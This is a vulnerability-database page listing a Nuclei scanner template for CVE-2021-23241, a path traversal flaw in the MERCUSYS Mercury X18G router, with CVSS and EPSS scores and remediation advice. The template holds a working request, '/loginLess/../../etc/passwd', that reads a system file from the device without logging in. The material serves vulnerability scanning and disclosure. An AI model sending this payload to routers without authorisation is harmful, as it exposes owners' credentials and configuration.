Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2021-23241
HistoryJul 20, 2021 - 8:52 a.m.

MERCUSYS Mercury X18G 1.0.5 Router - Local File Inclusion

2021-07-2008:52:10
ProjectDiscovery
github.com
63
cve2021
iot
local file inclusion
router
mercusys

CVSS2

5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

CVSS3

5.3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

AI Score

5.4

Confidence

High

EPSS

0.005

Percentile

75.6%

MERCUSYS Mercury X18G 1.0.5 devices are vulnerable to local file inclusion via …/ in conjunction with a loginLess or login.htm URI (for authentication bypass) to the web server, as demonstrated by the /loginLess/…/…/etc/passwd URI.

id: CVE-2021-23241

info:
  name: MERCUSYS Mercury X18G 1.0.5 Router - Local File Inclusion
  author: daffainfo
  severity: medium
  description: MERCUSYS Mercury X18G 1.0.5 devices are vulnerable to local file inclusion via ../ in conjunction with a loginLess or login.htm URI (for authentication bypass) to the web server, as demonstrated by the /loginLess/../../etc/passwd URI.
  impact: |
    An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the router.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the LFI vulnerability and ensure proper input validation is implemented.
  reference:
    - https://github.com/BATTZION/MY_REQUEST/blob/master/Mercury%20Router%20Web%20Server%20Directory%20Traversal.md
    - https://www.mercusys.com/en/
    - https://www.mercurycom.com.cn/product-521-1.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-23241
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-23241
    cwe-id: CWE-22
    epss-score: 0.00365
    epss-percentile: 0.71874
    cpe: cpe:2.3:o:mercusys:mercury_x18g_firmware:1.0.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: mercusys
    product: mercury_x18g_firmware
  tags: cve2021,cve,iot,lfi,router,mercusys

http:
  - method: GET
    path:
      - "{{BaseURL}}/loginLess/../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502200f34b2dae1c708ea8b7b9ef50190ec33a2e2a0f017295036db5dab2536f72dae022100c38e6b2dd3553581831251319d8596d8ecf29013ef41275641dfca0de46304a5:922c64590222798bb761d5b6d8e72950

CVSS2

5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

CVSS3

5.3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

AI Score

5.4

Confidence

High

EPSS

0.005

Percentile

75.6%

Related for NUCLEI:CVE-2021-23241